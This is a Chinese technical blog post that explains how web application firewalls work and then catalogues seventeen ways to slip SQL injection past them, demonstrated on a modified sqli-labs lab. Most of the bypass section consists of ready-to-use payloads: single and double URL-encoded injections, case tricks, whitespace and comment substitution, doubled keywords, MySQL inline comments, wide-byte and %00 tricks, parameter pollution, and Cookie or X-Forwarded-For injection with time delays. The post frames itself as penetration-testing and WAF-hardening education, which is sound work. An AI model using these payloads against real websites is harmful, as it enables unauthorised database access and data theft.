WAF机制及绕过方法总结：注入篇

柔情只为你懂 2022-10-20 13:50 614阅读 0赞

本篇文章主要介绍WAF的一些基本原理，总结常见的SQL注入Bypass WAF技巧。WAF是专门为保护基于Web应用程序而设计的，我们研究WAF绕过的目的一是帮助安服人员了解渗透测试中的测试技巧，而是能够对安全设备厂商提供一些安全建议，及时修复WAF存在的安全问题，以增强WAF的完备性和抗攻击性。三是希望网站开发者明白并不是部署了WAF就可以高枕无忧了，要明白漏洞产生的根本原因，最好能在代码层面上就将其修复。

## 一、WAF的定义 ##

WAF(Web应用防火墙)是通过执行一系列针对HTTP/HTTPS的安全策略来专门为Web应用提供保护的一款产品。通俗来说就是WAF产品里集成了一定的检测规则，会对每个请求的内容根据生成的规则进行检测并对不符合安全规则的作出对应的防御处理，从而保证Web应用的安全性与合法性。

## 二、WAF的工作原理 ##

WAF的处理流程大致可分为四部分：预处理、规则检测、处理模块、日志记录

### 1.   预处理 ###

预处理阶段首先在接收到数据请求流量时会先判断是否为HTTP/HTTPS请求，之后会查看此URL请求是否在白名单之内，如果该URL请求在白名单列表里，直接交给后端Web服务器进行响应处理，对于不在白名单之内的对数据包解析后进入到规则检测部分。

### 2.   规则检测 ###

每一种WAF产品都有自己独特的检测规则体系，解析后的数据包会进入到检测体系中进行规则匹配，检查该数据请求是否符合规则，识别出恶意攻击行为。

### 3.   处理模块 ###

针对不同的检测结果，处理模块会做出不同的安全防御动作，如果符合规则则交给后端Web服务器进行响应处理，对于不符合规则的请求会执行相关的阻断、记录、告警处理。

![图片][d7599007ba20da2ead13704fb40aecfd.png]

![图片][17bb9ccf4e34bb42c5ebcc11ca40e8ff.png]

![图片][fa2d8accf5ea89a92663e1693e8aefac.png]

不同的WAF产品会自定义不同的拦截警告页面，在日常渗透中我们也可以根据不同的拦截页面来辨别出网站使用了哪款WAF产品，从而有目的性进行WAF绕过。

### 4.   日志记录 ###

WAF在处理的过程中也会将拦截处理的日志记录下来，方便用户在后续中可以进行日志查看分析。

## 三、WAF的分类 ##

### 1.  软WAF ###

软件WAF安装过程比较简单，需要安装到需要安全防护的web服务器上，以纯软件的方式实现。

代表产品:安全狗，云锁，D盾等

### 2.  硬WAF ###

硬件WAF的价格一般比较昂贵，支持多种方式部署到Web服务器前端，识别外部的异常流量，并进行阻断拦截，为Web应用提供安全防护。

代表产品有：Imperva、天清WAG等

### 3.   云WAF ###

云WAF的维护成本低，不需要部署任何硬件设备，云WAF的拦截规则会实时更新。对于部署了云WAF的网站，我们发出的数据请求首先会经过云WAF节点进行规则检测，如果请求匹配到WAF拦截规则，则会被WAF进行拦截处理，对于正常、安全的请求则转发到真实Web服务器中进行响应处理。

代表产品有：阿里云云盾，腾讯云WAF等

### 4.   自定义WAF ###

我们在平时的渗透测试中，更多情况下会遇到的是网站开发人员自己写的防护规则。网站开发人员为了网站的安全，会在可能遭受攻击的地方增加一些安全防护代码，比如过滤敏感字符，对潜在的威胁的字符进行编码、转义等。

## 四、WAF的部署方式 ##

> 1. 透明网桥
> 
> 2. 反向代理
> 
> 3. 镜像流量
> 
> 4. 路由代理

## 五、 绕WAF的多种方式 ##

为了让大家更清楚的理解绕WAF的方法原理，本次WAF绕过方法的介绍中会增加部分代码示例。

注：本文的代码示例都是在sqli-labs基础上修改的。

正常无拦截规则的代码：

![图片][91bd69ae2239158850424a358e067c88.png]

接收用户传递的参数后直接带入数据库中执行。为了方便查看，将查询语句动态输出。

![图片][712da70285abbb24998f6caaf3e0f0b6.png]![图片][849de2541f974ef73e35ab2d8bf46e34.png]

### 1.   各种编码绕过 ###

绕WAF最常见的方法就是使用各种编码进行绕过，但编码能绕过的前提是提交的编码后的参数内容在进入数据库查询语句之前会有相关的解码代码。

a)   URL编码：

增加了过滤规则的代码：

![图片][a8a506722fd5465fc5ef6fd97088b74a.png]

代码中增加了特殊字符过滤，但在参数值进入数据库查询语句前多了一步解码操作：

$id= urldecode($id);

正常payload：

?id=1' and '1'='2

![图片][e1020e15909d5b61422cade32027147b.png]

直接提交攻击语句，单引号被过滤，注入语句未成功插入。

绕过payload：

?id= %31%2527%20%61%6e%64%20%2527%31%2527%3d%2527%32

![图片][a5d92b9a8b1674893466219211f3af78.png]

对参数值进行URL编码后可绕过过滤检测，注入语句成功写入。

b)  二次URL编码

增加了过滤规则的代码：

![图片][266b452fcec2961094b6268a1b63037d.png]

代码中在特殊字符过滤前又多增加了一步解码操作，可使用二次URL编码进行绕过。

正常payload:

> ?id=1'and '1'='2
> 
> ?id=%31%2527%20%61%6e%64%20%2527%31%2527%3d%2527%32

![图片][3d764ce6fb7386a6b71fa46987ec11bb.png]

使用一次URL编码绕过后，由于在过滤前会进行一次解码操作，所以单引号还是被过滤掉，注入语句未成功插入。

绕过payload:

> ?id=%25%33%31%25%32%35%32%37%25%32%30%25%36%31%25%36%65%25%36%34%25%32%30%25%32%35%32%37%25%33%31%25%32%35%32%37%25%33%64%25%32%35%32%37%25%33%32

![图片][e95dafb60a5f4f844edc5e3ea6ef8a88.png]

使用二次URL编码后可绕过过滤检测，注入语句成功写入。

c)   其他编码

除了使用URL编码外，还可以使用其他的编码方式进行绕过尝试，例如Unicode编码，Base64编码，Hex编码，ASCII编码等，原理与URL编码类似，此处不再重复。

### 2. 字母大小写转换绕过 ###

部分WAF只过滤全大写(SLEEP)或者全小写(sleep)的敏感字符，未对sleeP/slEEp进行过滤，可对关键字进行大小写转换进行绕过。

增加了过滤规则的代码：

![图片][03a5d8c860d9e8f8ea8feabc733589e4.png]

正常payload：

`?id=1' and sleep(3) and '1'='1`

`?id=1' and SLEEP(3) and '1'='1`

![图片][f57edc5c8a44bb886556b406b636e790.png]

![图片][a0f8fd290d4fb0de827bca9f15bbd808.png]

绕过payload：

`?id=1' and sleeP(3) and '1'='1`

`?id=1' and slEeP(3) and '1'='1`

![图片][53fe5edc83f7e9275781b67395403790.png]

### 3. 空格过滤绕过 ###

增加了过滤规则的代码：

![图片][9ac97fd12c5646712586d9c8a0b25569.png]

部分WAF会对空格过滤，可使用空白符或者‘+’号替换空格进行绕过。

a)   使用空白符替换空格绕过

<table style="width:680px;"> 
 <thead> 
  <tr> 
   <th>数据库类型</th> 
   <th>允许的空白符</th> 
  </tr> 
 </thead> 
 <tbody> 
  <tr> 
   <td>SQLite3</td> 
   <td>0A，0D，0C，09，20</td> 
  </tr> 
  <tr> 
   <td>MySQL5</td> 
   <td>09，0A，0B，0C，0D，A0，20</td> 
  </tr> 
  <tr> 
   <td>PosgresSQL</td> 
   <td>0A，0D，0C，09，20</td> 
  </tr> 
  <tr> 
   <td>Oracle 11g</td> 
   <td>00，0A，0D，0C，09，20</td> 
  </tr> 
  <tr> 
   <td>MSSQL</td> 
   <td>01，02，03，04，05，06，07，08，09，0A，0B，0C，0D，0E，0F，10，11，12，13，14，15，16，17，18，19，1A，1B，1C，1D，1E，1F，20</td> 
  </tr> 
 </tbody> 
</table>

正常payload：

?id=1'and sleep(3) and '1'='1

![图片][c3a7becc4f0720fa04b43ec808e8bd34.png]

空格被过滤，注入语句未成功插入。

绕过payload：

?id=1'%0Aand%0Asleep(3)%0Aand%0A'1'='1

![图片][280c7260134db25825d3ddc2e0dacc6c.png]

注入语句成功写入

b)  使用‘+’替换空格绕过

绕过payload：

?id=1'+and+sleep(3)+and+'1'='1

![图片][d683bd2aa9188d844bfe681a55fd21e7.png]

注入语句成功写入

c)   使用注释符/\*\*/替换空格绕过

绕过payload：

?id=1'/**/and/**/sleep(3)/**/and/**/'1'='1

![图片][911e8ebd13faddbcb0391bd452f15503.png]

注入语句成功写入

### 4. 双关键字绕过 ###

部分WAF会对关键字只进行一次过滤处理，可使用双关键字绕过。

增加了过滤规则的代码：

![图片][da4f8c0767de8fce6efcecbe3e018250.png]

正常payload：

?id=1and SLeeP(3) and 1=1

![图片][125266d64df6dc987a773afda45f6e36.png]

由于使用了strtolower()函数，所以无法使用大小写转换进行绕过，注入语句未成功插入。

绕过payload：

?id=1+and+SLesleepeP(3)+and+1=1

![图片][1c5681d455e5d28f38a4ac0e3ca75851.png]

WAF只对关键字sleep进行一次过滤，可使用SLEsleepEP，进行一次过滤后成为sleep，可绕过WAF，注入语句成功写入。

### 5. 内联注释绕过 ###

在MySQL里，/\*\*/是多行注释，这个是SQL的标准，但是MySQL扩张了解释的功能，如果在开头的的/\*后头加了惊叹号（/\*!50001sleep(3)\*/），那么此注释里的语句将被执行。

增加了过滤规则的代码：

![图片][1c5681d455e5d28f38a4ac0e3ca75851.png]

正常payload：

?id=1+and+sleep(3)+and+1=2

![图片][eff01e93898834d5b43e8da4f1295113.png]

绕过payload：

?id=1+and+/*!50001sleep(3)*/+and+1=1

![图片][2fee3e68664fd8e1f159ac8ed87040fa.png]

### 6. 请求方式差异规则松懈性绕过 ###

有些WAF同时接收GET方法和POST的方法，但只在GET方法中增加了过滤规则，可通过发送POST方法进行绕过。

增加了过滤规则的代码：

![图片][949b6d06d61069f136efe609a803a00a.png]

正常payload：

GET /xxx/?id=1+and+sleep(4)

绕过payload：

`POST /xxx/ `

`id=1+and+sleep(4)`

发送POST请求，绕过过滤规则，注入语句成功写入。

### 7. 异常Method绕过 ###

有些WAF只检测GET，POST方法，可通过使用异常方法进行绕过。

增加了过滤规则的代码：

![图片][68f085c8b8bca9fde42226b43f7f2f9e.png]

正常payload：

GET/xxx/?id=1+and+sleep(3) HTTP/1.1

![图片][1a42f4891b763132c3c0469fc51b8418.png]

绕过payload：

DigApis /xxx/?id=1+and+sleep(3)HTTP/1.1

![图片][ab65f3ddd0849988c8490c2044cbf9ec.png]

使用异常方法绕过过滤规则检测，注入语句成功写入。

### 8. 超大数据包绕过 ###

部分WAF只检测固定大小的内容，可通过添加无用字符进行绕过检测

增加了过滤规则的代码：

![图片][c55d1bb31aeb516ff5ef7259deabf5f6.png]

正常payload：

?id=1+and+sleep(3)

![图片][f21003f651071229311b7e4bd16cbec0.png]

绕过payload：

?id=1+and+sleep(3)+and+111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111=111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111

![图片][15c2de61131b0430040fb8726e705762.png]

添加无用字符，使内容大小超过WAF检测能检测到的最大内容。

### 9. 复参数绕过 ###

在提交的URL中给一个参数多次赋了不同的值(?id=1&id=2)，部分WAF在处理的过程中可能只处理前面提交的参数值(id=1)，而后端程序在处理的时候可能取的是最后面的值。

正常payload：

?id=1+and+sleep(3)

绕过payload：

?id=1&id=2+and+sleep(3)

将攻击语句赋予最后一个id参数，可绕过WAF检测直接进入后端服务器。

### 10.   添加%绕过过滤 ###

将WAF中过滤的敏感字符通过添加%绕过过滤。

例如：WAF过滤了select ，可通过se%lect绕过过滤,在进入后端执行中对参数串进行url解码时，会直接过滤掉%字符，从而注入语句被执行。IIS下的asp.dll文件在对asp文件后参数串进行url解码时，会直接过滤%字符。

正常payload：

`?id=1 union select 1, 2, 3 from admin`

`?id=1union select 1, 2, 3 from admi`

绕过payload：

`?id=1 union s%e%lect 1, 2, 3 from admin?id=1union s%e%lect 1, 2, 3 from admin?id=1union s%e%lect 1, 2, 3 from admin`

`?id=1union s%e%lect 1, 2, 3 from admin`

### 11.   协议未覆盖绕过 ###

以下四种常见的content-type类型：

> Content-Type:multipart/form-data;
> 
> Content-Type:application/x-www-form-urlencoded
> 
> Content-Type: text/xml
> 
> Content-Type: application/json

部分WAF可能只对一种content-type类型增加了检测规则，可以尝试互相替换尝试去绕过WAF过滤机制。

例如使用multipart/form-data进行绕过。

正常请求：

![图片][30c6178dd2c75adfef06a838f1a6718d.png]

转换为multipart/form-data类型进行绕过：

![图片][e805481313b3f032fe0739d3df2c44d9.png]

### 12.   宽字节绕过 ###

宽字节注入是因为使用了GBK编码。为了防止sql注入，提交的单引号(%27)会进行转义处理，即在单引号前加上斜杠(%5C%27)。

正常payload：

?id=1'and 1=1--+

绕过payload：

?id=1%df%27and 1=1--+

%df%27经过转义后会变成%df%5C%27,%df%5c会被识别为一个新的字节，而%27则被当做单引号，成功实现了语句闭合。

### 13.   %00截断 ###

部分WAF在解析参数的时候当遇到%00时，就会认为参数读取已结束，这样就会只对部分内容进行了过滤检测。

正常payload：

?a=1&id=1and sleep(3)

绕过payload：

?a=1%00.&id=1and sleep(3)

## 14.   Cookie/X-Forwarded-For注入绕过 ##

部分WAF可能只对GET，POST提交的参数进行过滤，未对Cookie或者X-Forwarded-For进行检测，可通过cookie或者X-Forwarded-For提交注入参数语句进行绕过。

正常payload：

GET /index.aspx?id=1+and+1=1 HTTP/1.1
    Host: 192.168.61.175
    ...........

Cookie: TOKEN=F6F57AD6473E851F5F8A0E7A64D01E28;

绕过payload：

GET /index.aspx HTTP/1.1
    Host: 192.168.61.175
    ...........

Cookie:TOKEN=F6F57AD6473E851F5F8A0E7A64D01E28; id=1+and+1=1;

X-Forwarded-For:127.0.0.1';WAITFOR DELAY'0:0:5'--

### 15.   利用pipline绕过 ###

当请求中的Connection字段值为keep-alive，则代表本次发起的请求所建立的tcp连接不断开，直到所发送内容结束Connection为close为止。部分WAF可能只对第一次传输过来的请求进行过滤处理。

正常请求被拦截：

![图片][e0d60122df850df517e2b1f7aa6c7aad.png]

利用pipline进行绕过：

首先关闭burp的Repeater的Content-Length自动更新

![图片][772efed5e092344e5e4c21f7fee342af.png]

修改Connection字段值为keep-alive，将带有攻击语句的数据请求附加到正常请求后面再发送一遍。

![图片][d8481ea17d2afc065b362aba109d505f.png]

### 16.   利用分块编码传输绕过 ###

分块传输编码是HTTP的一种数据传输机制，允许将消息体分成若干块进行发送。当数据请求包中header信息存在Transfer-Encoding: chunked，就代表这个消息体采用了分块编码传输。

![图片][6ff39dba0364c29031de3eeb54ab518e.png]

![图片][9bd6d2d293dab95370bd2ff783b65d9d.png]

### 17.   冷门函数/字符/运算符绕过 ###

`floor() ==>  updatexml()，extractvalue()`

`Substring() ==>  Mid()，Substr()，Lpad()，Rpad()，Left()`

`concat() ==>  concat_ws()，group_concat()`

`limit 0，1  ==>  limit1 offset 0`

`and  ==> && `

`or  ==> ||`

`= ==>  <，>`

`= ==>  like`

`Sleep()  ==> benchmark()`

## 六、总结 ##

上面使用部分代码示例向大家介绍了一些基础的绕过WAF注入方法，但实际中的WAF检测规则错综复杂，需要我们通过手工或fuzzing，并结合多种方法的组合拳去测试WAF检测原理，从而对抗WAF。

[d7599007ba20da2ead13704fb40aecfd.png]: /images/20221020/5f11717500ca43fa8b666b76f65979a8.png
[17bb9ccf4e34bb42c5ebcc11ca40e8ff.png]: /images/20221020/ca6f6bc3b1cf4c13a5022eff1e90faa0.png
[fa2d8accf5ea89a92663e1693e8aefac.png]: /images/20221020/63eef3922a9f47dcb0feba5cb18c2338.png
[91bd69ae2239158850424a358e067c88.png]: /images/20221020/0ee6a37cb94b43b8bce18b193be5f040.png
[712da70285abbb24998f6caaf3e0f0b6.png]: https://img-blog.csdnimg.cn/img_convert/712da70285abbb24998f6caaf3e0f0b6.png
[849de2541f974ef73e35ab2d8bf46e34.png]: /images/20221020/e09a77d8ab274581a04e60b1a0985f69.png
[a8a506722fd5465fc5ef6fd97088b74a.png]: /images/20221020/489134bec4fc4374834bc26177bf0587.png
[e1020e15909d5b61422cade32027147b.png]: /images/20221020/7e7341b92f8240e793db057b7860f901.png
[a5d92b9a8b1674893466219211f3af78.png]: /images/20221020/52d946212d04451eab7b4928dcbe20d0.png
[266b452fcec2961094b6268a1b63037d.png]: /images/20221020/e3be0678d3514a7f87371356afd296d7.png
[3d764ce6fb7386a6b71fa46987ec11bb.png]: /images/20221020/9a6b71bc5c3b4083b5541113536863ae.png
[e95dafb60a5f4f844edc5e3ea6ef8a88.png]: /images/20221020/c08cdf92f764437daf5b93b8e55f7ea0.png
[03a5d8c860d9e8f8ea8feabc733589e4.png]: /images/20221020/df0f10e2c2b4444e802bba3940681d4b.png
[f57edc5c8a44bb886556b406b636e790.png]: /images/20221020/e9b65775a905414f834835f7950ddf1a.png
[a0f8fd290d4fb0de827bca9f15bbd808.png]: /images/20221020/515e30ba1d1b46eb86c58a77d2bc21b7.png
[53fe5edc83f7e9275781b67395403790.png]: /images/20221020/7ea3ccc13cae4fb4a61586133d6b605d.png
[9ac97fd12c5646712586d9c8a0b25569.png]: /images/20221020/c81fd4386ae7436f96c9116ac031b5d5.png
[c3a7becc4f0720fa04b43ec808e8bd34.png]: /images/20221020/c7130fd7a05245e8939fd17748dd99b1.png
[280c7260134db25825d3ddc2e0dacc6c.png]: /images/20221020/4c4d1abb3e804d6bb86d8895ac38cc14.png
[d683bd2aa9188d844bfe681a55fd21e7.png]: /images/20221020/b80d15e2172f4424b4890d06ae23df2d.png
[911e8ebd13faddbcb0391bd452f15503.png]: /images/20221020/a638f91900d4410788f92dc83b344efe.png
[da4f8c0767de8fce6efcecbe3e018250.png]: /images/20221020/b18a09fd55bf4848aa00333a722a1f4a.png
[125266d64df6dc987a773afda45f6e36.png]: /images/20221020/8964a85c5c4a492da8aeecbe0deb8f8e.png
[1c5681d455e5d28f38a4ac0e3ca75851.png]: /images/20221020/7e79311a2ed04cb2b6bed54cd98ad646.png
[eff01e93898834d5b43e8da4f1295113.png]: /images/20221020/70ab05a8b7da40d8aa899d9901bc4018.png
[2fee3e68664fd8e1f159ac8ed87040fa.png]: /images/20221020/83adfde876744218b5fccc55437f9001.png
[949b6d06d61069f136efe609a803a00a.png]: /images/20221020/bf4ceaee5f9740eea0155480164f31e7.png
[68f085c8b8bca9fde42226b43f7f2f9e.png]: /images/20221020/d6af549e77484a7db46350cdeb73ca35.png
[1a42f4891b763132c3c0469fc51b8418.png]: /images/20221020/9bb3b1ec1471421cb931580e7eb5f38f.png
[ab65f3ddd0849988c8490c2044cbf9ec.png]: /images/20221020/de7be9dc50a848308440abf311576c2f.png
[c55d1bb31aeb516ff5ef7259deabf5f6.png]: /images/20221020/d2cbf34185144025bee826ca3d6f5405.png
[f21003f651071229311b7e4bd16cbec0.png]: /images/20221020/7bda1ee0d7674b87b22324b50762765e.png
[15c2de61131b0430040fb8726e705762.png]: /images/20221020/923197cca26543cea2b943bc5f707a36.png
[30c6178dd2c75adfef06a838f1a6718d.png]: /images/20221020/d99f4bd7cbca48789b13bcf34511139c.png
[e805481313b3f032fe0739d3df2c44d9.png]: /images/20221020/a8bf5b5a3fb8424b8c8a25985f142422.png
[e0d60122df850df517e2b1f7aa6c7aad.png]: /images/20221020/9dcf5fed36ec419e9870f0158edec7ab.png
[772efed5e092344e5e4c21f7fee342af.png]: /images/20221020/6a562b6aa688435c9c7d7f9d295d96b7.png
[d8481ea17d2afc065b362aba109d505f.png]: /images/20221020/2a13de75b5de407c8309d2ba7b5eafdb.png
[6ff39dba0364c29031de3eeb54ab518e.png]: /images/20221020/95a53febfce542a7a036274f1844d25f.png
[9bd6d2d293dab95370bd2ff783b65d9d.png]: /images/20221020/49d314f7b935466f9d26e73ba78218df.png